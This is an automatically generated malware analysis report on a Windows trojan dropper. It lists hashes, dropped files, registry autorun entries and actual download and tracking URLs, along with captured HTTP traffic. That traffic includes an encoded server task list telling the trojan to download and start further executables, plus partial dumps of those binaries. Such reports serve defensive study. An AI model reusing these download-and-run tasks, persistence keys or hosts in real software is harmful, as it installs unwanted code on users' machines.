Sample_7c165c3721

by malwarelabrobot on September 5th, 2017 in Malware Descriptions.

HEUR:Trojan.Win32.Generic (Kaspersky), mzpefinder_pcap_file.YR (Lavasoft MAS)
Behaviour: Trojan

The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

Summary

Dynamic Analysis

Static Analysis

Network Activity

Map

Strings from Dumps

Removals

MD5: 7c165c37216299a2b81aafc20f6de795
SHA1: 8b2fe6c83d7d2a23e90d66b6f2a208ecad71bc37
SHA256: bc1fee395c4e228566754c95a3f25d4e64af0c46d0e1a062c03be861bbc457de
SSDeep: 24576:ll1bsClpPPjiH6NqTLh8T7RNu2ZLnJ2OriiRzaB0CKL8nOZgxSZhrDm2tCvJWtaX:Rbx2akLX8L5rpjhWE2xYx1ab
Size: 2156032 bytes
File type: EXE
Platform: WIN32
Entropy: Not Packed
PEID: MicrosoftVisualC, NETexecutable, UPolyXv05_v6
Company: Mindspark Interactive Network, Inc.
Created at: 2017-08-22 01:38:50
Analyzed on: Windows7 SP1 32-bit

Summary:

Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):

SecondL.exe:3716
Sho9libi.exe:3004
mTR6hbOp3OYxeQjDX8EB.exe:1492
%original file name%.exe:1908

The Trojan injects its code into the following process(es):

mTR6hbOp3O.exe:2924
mTR6hbOp3OYxeQjDX8EB.exe:2596
evsjrdcflog.exe:3468

Mutexes

The following mutexes were created/opened:
No objects were found.

File activity

The process SecondL.exe:3716 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\enterprisesec.config.cch.new (856 bytes)
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\security.config.cch.new (856 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\odbaa1ufabw\evsjrdcflog.exe.config (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\odbaa1ufabw\evsjrdcflog.exe (204 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\CLR Security Config\v2.0.50727.312\security.config.cch.new (856 bytes)

The Trojan deletes the following file(s):

C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\security.config.cch.3716.437161 (0 bytes)
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\enterprisesec.config.cch.3716.437161 (0 bytes)

The process Sho9libi.exe:3004 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\enterprisesec.config.cch.new (860 bytes)
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\security.config.cch.new (860 bytes)

The process mTR6hbOp3O.exe:2924 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\cast.config (36 bytes)

The process mTR6hbOp3OYxeQjDX8EB.exe:2596 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\config.conf (31 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Q7CSL60VI3\SecondL.exe (400 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Q7CSL60VI3\Sho9libi.exe.config (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Q7CSL60VI3\SecondL.exe.config (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Q7CSL60VI3\Sho9libi.exe (256881 bytes)

The process %original file name%.exe:1908 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\mTR6hbOp3O.exe (153905 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\mTR6hbOp3OYxeQjDX8EB.exe (60695 bytes)

Registry activity

The process SecondL.exe:3716 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Tracing\SecondL_RASAPI32]
"EnableConsoleTracing" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Microsoft\Tracing\SecondL_RASAPI32]
"MaxFileSize" = "1048576"
"ConsoleTracingMask" = "4294901760"
"FileDirectory" = "%windir%\tracing"

[HKLM\SOFTWARE\Microsoft\Tracing\SecondL_RASMANCS]
"EnableConsoleTracing" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\SecondL_RASAPI32]
"FileTracingMask" = "4294901760"

[HKLM\SOFTWARE\Microsoft\Tracing\SecondL_RASMANCS]
"MaxFileSize" = "1048576"
"ConsoleTracingMask" = "4294901760"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\SecondL_RASMANCS]
"FileDirectory" = "%windir%\tracing"
"FileTracingMask" = "4294901760"

[HKLM\SOFTWARE\Microsoft\Tracing\SecondL_RASAPI32]
"EnableFileTracing" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\SecondL_RASMANCS]
"EnableFileTracing" = "0"

The Trojan deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"
"IntranetName"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

The process Sho9libi.exe:3004 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Tracing\Sho9libi_RASAPI32]
"FileDirectory" = "%windir%\tracing"

[HKLM\SOFTWARE\Microsoft\Tracing\Sho9libi_RASMANCS]
"MaxFileSize" = "1048576"
"EnableFileTracing" = "0"
"ConsoleTracingMask" = "4294901760"

[HKLM\SOFTWARE\Microsoft\Tracing\Sho9libi_RASAPI32]
"EnableConsoleTracing" = "0"
"MaxFileSize" = "1048576"
"ConsoleTracingMask" = "4294901760"
"EnableFileTracing" = "0"
"FileTracingMask" = "4294901760"

[HKLM\SOFTWARE\Microsoft\Tracing\Sho9libi_RASMANCS]
"FileDirectory" = "%windir%\tracing"
"EnableConsoleTracing" = "0"
"FileTracingMask" = "4294901760"

The process mTR6hbOp3O.exe:2924 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Tracing\mTR6hbOp3O_RASMANCS]
"EnableFileTracing" = "0"

"EnableConsoleTracing" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\mTR6hbOp3O_RASAPI32]
"EnableConsoleTracing" = "0"
"FileTracingMask" = "4294901760"

[HKLM\SOFTWARE\Microsoft\Tracing\mTR6hbOp3O_RASMANCS]
"ConsoleTracingMask" = "4294901760"
"MaxFileSize" = "1048576"

[HKLM\SOFTWARE\Microsoft\Tracing\mTR6hbOp3O_RASAPI32]
"MaxFileSize" = "1048576"
"EnableFileTracing" = "0"
"ConsoleTracingMask" = "4294901760"

[HKLM\SOFTWARE\Microsoft\Tracing\mTR6hbOp3O_RASMANCS]
"FileTracingMask" = "4294901760"
"FileDirectory" = "%windir%\tracing"

[HKLM\SOFTWARE\Microsoft\Tracing\mTR6hbOp3O_RASAPI32]
"FileDirectory" = "%windir%\tracing"

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"DNCSPQVK1UFX257" = "C:\Users\"%CurrentUserName%"\AppData\Local\Temp\mTR6hbOp3O.exe"

The process mTR6hbOp3OYxeQjDX8EB.exe:1492 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"
"UNCAsIntranet" = "0"

The Trojan deletes the following value(s) in system registry:

The process mTR6hbOp3OYxeQjDX8EB.exe:2596 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Tracing\mTR6hbOp3OYxeQjDX8EB_RASMANCS]
"FileDirectory" = "%windir%\tracing"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Microsoft\Tracing\mTR6hbOp3OYxeQjDX8EB_RASMANCS]
"EnableFileTracing" = "0"
"MaxFileSize" = "1048576"

[HKLM\SOFTWARE\Microsoft\Tracing\mTR6hbOp3OYxeQjDX8EB_RASAPI32]
"ConsoleTracingMask" = "4294901760"
"EnableFileTracing" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\mTR6hbOp3OYxeQjDX8EB_RASMANCS]
"ConsoleTracingMask" = "4294901760"

[HKLM\SOFTWARE\Microsoft\Tracing\mTR6hbOp3OYxeQjDX8EB_RASAPI32]
"EnableConsoleTracing" = "0"
"FileTracingMask" = "4294901760"

[HKLM\SOFTWARE\Microsoft\Tracing\mTR6hbOp3OYxeQjDX8EB_RASMANCS]
"EnableConsoleTracing" = "0"
"FileTracingMask" = "4294901760"

[HKLM\SOFTWARE\Microsoft\Tracing\mTR6hbOp3OYxeQjDX8EB_RASAPI32]
"MaxFileSize" = "1048576"
"FileDirectory" = "%windir%\tracing"

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce]
"OMEWPRODUCT_JKLKQ" = "C:\Users\"%CurrentUserName%"\AppData\Local\Temp\mTR6hbOp3OYxeQjDX8EB.exe"

The Trojan deletes the following value(s) in system registry:

The process %original file name%.exe:1908 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Tracing\7c165c37216299a2b81aafc20f6de795_RASAPI32]
"ConsoleTracingMask" = "4294901760"

[HKLM\SOFTWARE\Microsoft\CasterDate]
"date" = "04/09/2017"

[HKLM\SOFTWARE\Microsoft\Tracing\7c165c37216299a2b81aafc20f6de795_RASMANCS]
"EnableFileTracing" = "0"
"EnableConsoleTracing" = "0"
"MaxFileSize" = "1048576"
"FileDirectory" = "%windir%\tracing"

[HKCU\Software\Microsoft\wewewe]
"partner" = "tuto"

[HKLM\SOFTWARE\Microsoft\Tracing\7c165c37216299a2b81aafc20f6de795_RASAPI32]
"EnableFileTracing" = "0"

[HKCU\Software\Microsoft\wewewe]
"Product" = "diskpower"
"channel" = "1"

[HKLM\SOFTWARE\Microsoft\Tracing\7c165c37216299a2b81aafc20f6de795_RASMANCS]
"ConsoleTracingMask" = "4294901760"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Microsoft\Tracing\7c165c37216299a2b81aafc20f6de795_RASAPI32]
"MaxFileSize" = "1048576"

[HKLM\SOFTWARE\Microsoft\Tracing\7c165c37216299a2b81aafc20f6de795_RASMANCS]
"FileTracingMask" = "4294901760"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\7c165c37216299a2b81aafc20f6de795_RASAPI32]
"FileDirectory" = "%windir%\tracing"
"FileTracingMask" = "4294901760"
"EnableConsoleTracing" = "0"

The Trojan deletes the following value(s) in system registry:

The process evsjrdcflog.exe:3468 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"vcsau5ojtfz" = "C:\Users\"%CurrentUserName%"\AppData\Roaming\odbaa1ufabw\evsjrdcflog.exe"

Dropped PE files

MD5	File path
36fc263e8315ef086a9e9ae04192dbb9	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\Q7CSL60VI3\SecondL.exe
4c796c44d8ca098f90b6523a3c03614a	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\Q7CSL60VI3\Sho9libi.exe
130d690f9f37a0a455d8ed3a54914cea	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\mTR6hbOp3O.exe
2c0e75999c60a6a0e1ef504968e30692	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\mTR6hbOp3OYxeQjDX8EB.exe
10e7ab547686847964eb56910244e3e4	c:\Users\"%CurrentUserName%"\AppData\Roaming\odbaa1ufabw\evsjrdcflog.exe

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

VersionInfo

Company Name: VIN48DXC
Product Name: VIN48DXCI
Product Version: 8.0.7.0
Legal Copyright: Copyright (c) 2261
Legal Trademarks:
Original Filename: E3443.exe
Internal Name: E3443.exe
File Version: 8.0.7.0
File Description: VIN48D
Comments: VI
Language: English (United States)

PE Sections

Name	Virtual Address	Virtual Size	Raw Size	Entropy	Section MD5
.text	8192	2150228	2150400	4.16653	25a5eb89a781f6810276cf2e3a4acbd2
.rsrc	2162688	4448	4608	3.49869	ca64069040f51013929c44f39d867e68
.reloc	2170880	12	512	0.070639	cb3213929f5a5fb223f6061bc64cf92e

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

URLs

URL	IP
hxxp://bratitlamio.com/get/3/wizzcaster_v2.exe	46.105.121.115
hxxp://ladomainadeserver.com/remotes_xml_sections.php	176.31.115.114
hxxp://ladomainadeserver.com/api/v5/config	176.31.115.114
hxxp://ladomainadeserver.com/api/v5/link	176.31.115.114
hxxp://ladomainadeserver.com/wemonetize/wizzmonetize/sales_we_diskpower_tuto_1_load	176.31.115.114
hxxp://ladomainadeserver.com/wemonetize/wizzmonetize/sales_we_diskpower_tuto_1_notok	176.31.115.114
hxxp://bratitlamio.com/safe_download/582369/AdsShow.exe	46.105.121.115
hxxp://agent.wizztrakys.com/wemonetize/wizzmonetize/sales_we_diskpower_tuto_1_notok	176.31.107.87
hxxp://bratitlamio.com/exe/updater.exe	46.105.121.115
hxxp://agent.wizztrakys.com/wemonetize/wizzmonetize/sales_we_diskpower_tuto_1_load	176.31.107.87
hxxp://bratitlamio.com/from_backup/747474/AdsShow_installer.exe	46.105.121.115
hxxp://bratitlamio.com/get/4/remote.exe	46.105.121.115
hxxp://www.wizzmonetize.com/remotes_xml_sections.php	188.165.210.24

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

ET POLICY PE EXE or DLL Windows file download HTTP

Traffic

POST /remotes_xml_sections.php HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Host: VVV.wizzmonetize.com

Content-Length: 154

Expect: 100-continue

Connection: Keep-Alive


HTTP/1.1 100 Continue
....



remote_id=1&user_name=wemonetize&api_key=e721cfcc-2148-11e6-922f-0cc47
a47968c&buying_product_name=diskpower&buying_partner_name=tuto&buying_
channel_name=1
HTTP/1.1 200 OK

Date: Sun, 03 Sep 2017 22:16:48 GMT

Server: Apache/2.4.10 (Debian)

Set-Cookie: PHPSESSID=nr9s2f6qrocp5il2j9edbsroe2; path=/

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Pragma: no-cache

Vary: Accept-Encoding

Content-Length: 1076

Keep-Alive: timeout=10, max=100

Connection: Keep-Alive

Content-Type: text/html; charset=UTF-8

PHVwZGF0ZXMgcmVmcmVzaD0iMTIwIj4KCjx0YXNrPg0KDQo8cGVyZm9ybT4NCg0KPGRvd2
5sb2FkIG5hbWU9IlNlY29uZEwiIHZhbHVlPSJodHRwOi8vYnJhdGl0bGFtaW8uY29tL2Zy
b21fYmFja3VwLzc0NzQ3NC9BZHNTaG93X2luc3RhbGxlci5leGUiIHZlcnNpb249IiIgIH
NvZnR3YXJlPSIiIG5ldD0ieWVzIiAvPg0KPHByb2Nlc3MgdHlwZT0ic3RhcnQiIG5hbWU9
IlNlY29uZEwiIHZhbHVlPSJub3R3YWl0IiBwYXJhbXM9Im5pbXBvcnRlIi8 DQo8bW9kIH
R5cGU9ImFkZCIgbmFtZT0iUXNPbmUiIHZhbHVlPSIxNzA5MDQiLz4NCg0KPC9wZXJmb3Jt
Pg0KDQo8Y29uZGl0aW9ucz4NCg0KPG1vZCB0eXBlPSJjaGVjayIgbmFtZT0iUXNPbmUiIH
ZhbHVlPSI0NTE3MDkwNCIgbWF0Y2g9ImZhbHNlIi8 DQoNCjwvY29uZGl0aW9ucz4NCjwv
dGFzaz48dGFzaz4NCg0KPHBlcmZvcm0 DQoNCjxkb3dubG9hZCBuYW1lPSJTaG85bGliaS
IgdmFsdWU9Imh0dHA6Ly9icmF0aXRsYW1pby5jb20vZXhlL3VwZGF0ZXIuZXhlIiB2ZXJz
aW9uPSIiICBzb2Z0d2FyZT0iIiBuZXQ9InllcyIgLz4NCjxwcm9jZXNzIHR5cGU9InN0YX
J0IiBuYW1lPSJTaG85bGliaSIgdmFsdWU9IndhaXQiIHBhcmFtcz0id2UiLz4NCjxtb2Qg
dHlwZT0iYWRkIiBuYW1lPSJEYXRlIiB2YWx1ZT0iZmU4ZjE3MDkwNCIvPg0KDQo8L3Blcm
Zvcm0 DQoNCjxjb25kaXRpb25zPg0KDQo8bW9kIHR5cGU9ImNoZWNrIiBuYW1lPSJEYXRl
IiB2YWx1ZT0iMTcwOTA0IiBtYXRjaD0iZmFsc2UiLz4NCg0KPC9jb25kaXRpb25zPg0KPC
90YXNrPgo8L3VwZGF0ZXM CgoK..

GET /get/3/wizzcaster_v2.exe HTTP/1.1

Host: bratitlamio.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Date: Sun, 03 Sep 2017 22:16:44 GMT

Server: Apache/2.4.10 (Debian)

Cache-Control: no-cache

content-disposition: attachment; filename="wizzcaster_v2.exe"

Keep-Alive: timeout=10, max=100

Connection: Keep-Alive

Transfer-Encoding: chunked

Content-Type: application/x-msdownload

167800..MZ......................@.....................................
..........!..L.!This program cannot be run in DOS mode....$.......PE..
L....r.Y.........."...0.............^.... ........@.. ................
....................@.....................................O...........
......................................................................
... ............... ..H............text...d.... ......................
 ..`.rsrc...............................@..@.reloc...............v....
..........@..B................@.......H........!.............../.. ...
.........................................0..........(....(.....~....(.
....~....(.....(......o........io.....(.....o....(....(........o....r.
..po.......o....t#..........%...o....&..&..*.................0..3.....
..(....~....o......s....%o .....o!...o".......&.....*.........,,......
.0..........s#......&.....*.................~r...p.....rY..p.....rs..p
.....*..($...*.~....-.r...p.....(%...o&...s'........~....*.~....*.....
..*.~....*..((...*Vs....()...t.........*BSJB............v2.0.50727....
..l...\...#~..........#Strings............#US.l.......#GUID...|...D...
#Blob...........W..........3........(...................).............
......................................4...........h...................
................T.....m.................&...........@.P.....P.........
..P...A...........4.H...K...........8.................|...........S.P.
..W.....j.......[.....P.................................f.P...........
..............H.V.=...........#.=.........7.#.q...................

<<< skipped >>>

GET /from_backup/747474/AdsShow_installer.exe HTTP/1.1

Host: bratitlamio.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Date: Sun, 03 Sep 2017 22:16:54 GMT

Server: Apache/2.4.10 (Debian)

Cache-Control: no-cache

content-disposition: attachment; filename="AdsShow_installer.exe"

Keep-Alive: timeout=10, max=100

Connection: Keep-Alive

Transfer-Encoding: chunked

Content-Type: application/x-msdownload

2a00..MZ......................@.......................................
........!..L.!This program cannot be run in DOS mode....$.......PE..L.
.....Y.........."...0..............=... ...@....@.. ..................
..................@..................................<..O....@..4..
..................`.......;...........................................
.... ............... ..H............text... .... .....................
. ..`.rsrc...4....@....... ..............@..@.reloc.......`.......(...
...........@..B.................<......H........#...............:..
.............................................0..%.............(....(..
..r...pr...po....(......(....&.(....r...pr...po....r...p(....(........
 T..... ..........,........ #.....3..... ......,......X......X.... X..
.......-.....X.... ..........-.... ...... ..........,.........X.... ..
........-..(.....(...........%.r...p.%.ra..p.%.r...p.%.r...p.%.rG..p.%
.r[..p.%.rB..p.%.rR..p.%.r...p.%..r...p.%..rQ..p.%..r...p.%..r...p.%..
r:..p.%..r...p.%..r...p.%..r...p.%..r9..p.%..rQ..p.%..r...p.%..r...p.%
..r...p.%..r...p.%..r...p.%..r...p.%..r...p.(.......r...p(......(.....
.........,.....(....& ..r...p(....&.........*...A.....................
.......0..f........r...p.r!..p... ".. ..........,...r7..p(.........X..
 ..........-.s.......rG..p(....s.....o.....r...p.*".( ....*&.( .....*.
...0..9........~.........,".r...p.....(!...o"...s#...........~..... ..
*....0...........~..... ..*".......*.0...........~..... ..*".($....*Vs
....(%...t.........*..BSJB............v2.0.50727......l...$...#~..

<<< skipped >>>

GET /exe/updater.exe HTTP/1.1

Host: bratitlamio.com


HTTP/1.1 200 OK

Date: Sun, 03 Sep 2017 22:16:54 GMT

Server: Apache/2.4.10 (Debian)

Cache-Control: no-cache

content-disposition: attachment; filename="updater.exe"

Transfer-Encoding: chunked

Content-Type: application/x-msdownload
27b200..MZ......................@.....................................
..........!..L.!This program cannot be run in DOS mode....$.......PE..
L....r.Y.........."...0...!.........> !.. ...@!...@.. .............
.......... (...........@...................................!.O....@!..
.....................(.......!........................................
...... ............... ..H............text...D.!.. ....!..............
... ..`.rsrc........@!.......!.............@..@.reloc........(.......'
.............@..B................  !.....H........!.............../...
. ..........................................0..........(....(.....~...
.(.....~....(.....(......o........io.....(.....o....(....(........o...
.r...po.......o....t#..........%...o....&..&..*.................0..3..
.....(....~....o......s....%o .....o!...o".......&.....*.........,,...
....0..........s#......&.....*.................~r...p.....rY..p.....rs
..p.....*..($...*.~....-.r...p.....(%...o&...s'........~....*.~....*..
.....*.~....*..((...*Vs....()...t.........*BSJB............v2.0.50727.
.....l...\...#~..........#Strings............#US.l.......#GUID...|...D
...#Blob...........W..........3........(...................)..........
.........................................4...........h................
...................T.....m.................&...........@.P.....P......
.....P...A...........4.H...K...........8.................|...........S
.P...W.....j.......[.....P.................................f.P........
.................H.V.=...........#.=.........7.#.q................<<< skipped >>>

GET /safe_download/582369/AdsShow.exe HTTP/1.1

Host: bratitlamio.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Date: Sun, 03 Sep 2017 22:16:57 GMT

Server: Apache/2.4.10 (Debian)

Cache-Control: no-cache

content-disposition: attachment; filename="AdsShow.exe"

Keep-Alive: timeout=10, max=100

Connection: Keep-Alive

Transfer-Encoding: chunked

Content-Type: application/x-msdownload

2000..MZ......................@.......................................
........!..L.!This program cannot be run in DOS mode....$.......PE..L.
..o..Y.........."...0.............V2... ...@....@.. ..................
..................@..................................2..O....@..L.....
...............`.......0..............................................
. ............... ..H............text...\.... ...................... .
.`.rsrc...L....@......................@..@.reloc.......`..............
........@..B................82......H.......("...............0........
.......................................0............s............,N.~.
...r...p.o......(....r]..pra..po....rc..p(....o....rc..p(....o......o.
..... Z.rg..p(.............,...........,.. `......o....Z(......rq..p(.
...&. `.......o....Z(......... .&....*...................0..4........r
...p..rg..p( .....,...r...p(!...("........ ... ..*".(#....*&.(#.....*.
.0..9........~.........,".r...p.....($...o%...s&...........~..... ..*.
...0...........~..... ..*".......*.0...........~..... ..*".('....*Vs..
..((...t.........*..BSJB............v2.0.50727......l...$...#~......|.
..#Strings........H...#US.T.......#GUID...d.......#Blob...........W...
.......3........$...................(.................................
..............D.=.....=...x.................'.................d.....}.
................6.............B.....B...I.B...5.......B...D.....[.....
..=.....]...........$.....$.....n..._.............B...V.....3.........
....B..._.B.....n...................:...=.............=.........d.

<<< skipped >>>

POST /wemonetize/wizzmonetize/sales_we_diskpower_tuto_1_load HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Host: agent.wizztrakys.com

Content-Length: 44

Expect: 100-continue

Connection: Keep-Alive

HTTP/1.1 100 Continue

....

api_key=fa02609b-2368-11e6-922f-0cc47a47968c

HTTP/1.1 200 OK

Date: Sun, 03 Sep 2017 22:16:56 GMT

Server: Apache/2.4.10 (Debian)

Set-Cookie: PHPSESSID=60aj64ov3hcu59snb3l54aie63; path=/

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Pragma: no-cache

Access-Control-Allow-Origin: *

Content-Length: 29

Keep-Alive: timeout=10, max=100

Connection: Keep-Alive

Content-Type: text/html; charset=UTF-8
{"message":"Track was added"}....


POST /wemonetize/wizzmonetize/sales_we_diskpower_tuto_1_notok HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Host: agent.wizztrakys.com

Content-Length: 44

Expect: 100-continue

HTTP/1.1 100 Continue

....

api_key=fa02609b-2368-11e6-922f-0cc47a47968c

HTTP/1.1 200 OK

Date: Sun, 03 Sep 2017 22:16:57 GMT

Server: Apache/2.4.10 (Debian)

Set-Cookie: PHPSESSID=k5t979kbjudcisl8hrlvk100d5; path=/

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Pragma: no-cache

Access-Control-Allow-Origin: *

Content-Length: 29

Content-Type: text/html; charset=UTF-8
{"message":"Track was added"}..

GET /get/4/remote.exe HTTP/1.1

Host: bratitlamio.com


HTTP/1.1 200 OK

Date: Sun, 03 Sep 2017 22:16:47 GMT

Server: Apache/2.4.10 (Debian)

Cache-Control: no-cache

content-disposition: attachment; filename="remote.exe"

Transfer-Encoding: chunked

Content-Type: application/x-msdownload

76600..MZ......................@......................................
.........!..L.!This program cannot be run in DOS mode....$.......PE..L
....r.Y.........."...0.................. ........@.. .................
...................@.................................D...O............
......................................................................
.. ............... ..H............text........ ...................... 
..`.rsrc...............................@..@.reloc...............d.....
.........@..B................x.......H........!.............../..X....
........................................0..........(....(.....~....(..
...~....(.....(......o........io.....(.....o....(....(........o....r..
.po.......o....t#..........%...o....&..&..*.................0..3......
.(....~....o......s....%o .....o!...o".......&.....*.........,,.......
0..........s#......&.....*.................~r...p.....rY..p.....rs..p.
....*..($...*.~....-.r...p.....(%...o&...s'........~....*.~....*......
.*.~....*..((...*Vs....()...t.........*BSJB............v2.0.50727.....
.l...\...#~..........#Strings............#US.l.......#GUID...|...D...#
Blob...........W..........3........(...................)..............
.....................................4...........h....................
...............T.....m.................&...........@.P.....P..........
.P...A...........4.H...K...........8.................|...........S.P..
.W.....j.......[.....P.................................f.P............
.............H.V.=...........#.=.........7.#.q...................}

<<< skipped >>>

POST /api/v5/config HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Host: ladomainadeserver.com

Content-Length: 38

Expect: 100-continue

Connection: Keep-Alive

HTTP/1.1 100 Continue

....

uid=57a764d042bf8&days_after_install=0

HTTP/1.1 200 OK

Date: Sun, 03 Sep 2017 22:16:48 GMT

Server: Apache/2.4.10 (Debian)

Cache-Control: no-cache

Set-Cookie: laravel_session=2356f95ccde998e24a7e877d57f97405cbcc2b91; expires=Mon, 04-Sep-2017 00:16:49 GMT; Max-Age=7200; path=/; httponly

Content-Length: 28

Keep-Alive: timeout=10, max=100

Connection: Keep-Alive

Content-Type: text/html; charset=UTF-8
{"time_between_prints":"15"}HTTP/1.1 200 OK..Date: Sun, 03 Sep 2017 22
:16:48 GMT..Server: Apache/2.4.10 (Debian)..Cache-Control: no-cache..S
et-Cookie: laravel_session=2356f95ccde998e24a7e877d57f97405cbcc2b91; e
xpires=Mon, 04-Sep-2017 00:16:49 GMT; Max-Age=7200; path=/; httponly..
Content-Length: 28..Keep-Alive: timeout=10, max=100..Connection: Keep-
Alive..Content-Type: text/html; charset=UTF-8..{"time_between_prints":
"15"}....


POST /api/v5/link HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Host: ladomainadeserver.com

Content-Length: 17

Expect: 100-continue

HTTP/1.1 100 Continue

....

uid=57a764d042bf8

HTTP/1.1 200 OK

Date: Sun, 03 Sep 2017 22:16:49 GMT

Server: Apache/2.4.10 (Debian)

Cache-Control: no-cache

Set-Cookie: laravel_session=b9c24fb2bbbe0395617cea42ecbbd5bc75673fd8; expires=Mon, 04-Sep-2017 00:16:49 GMT; Max-Age=7200; path=/; httponly

Content-Length: 66

Content-Type: text/html; charset=UTF-8
{"link":"http:\/\/ladomainadeserver.com\/redirect\/57a764d042bf8"}HTTP
/1.1 200 OK..Date: Sun, 03 Sep 2017 22:16:49 GMT..Server: Apache/2.4.1
0 (Debian)..Cache-Control: no-cache..Set-Cookie: laravel_session=b9c24
fb2bbbe0395617cea42ecbbd5bc75673fd8; expires=Mon, 04-Sep-2017 00:16:49
 GMT; Max-Age=7200; path=/; httponly..Content-Length: 66..Content-Type
: text/html; charset=UTF-8..{"link":"http:\/\/ladomainadeserver.com\/r
edirect\/57a764d042bf8"}..

The Trojan connects to the servers at the folowing location(s):

Remove it with Ad-Aware

Click (here) to download and install Ad-Aware Free Antivirus.
Update the definition files.
Run a full scan of your computer.

Manual removal*

Terminate malicious process(es) (How to End a Process With the Task Manager):

SecondL.exe:3716
Sho9libi.exe:3004
mTR6hbOp3OYxeQjDX8EB.exe:1492
%original file name%.exe:1908
Delete the original Trojan file.
Delete or disinfect the following files created/modified by the Trojan:

C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\enterprisesec.config.cch.new (856 bytes)
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\security.config.cch.new (856 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\odbaa1ufabw\evsjrdcflog.exe.config (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\CLR Security Config\v2.0.50727.312\security.config.cch.new (856 bytes)
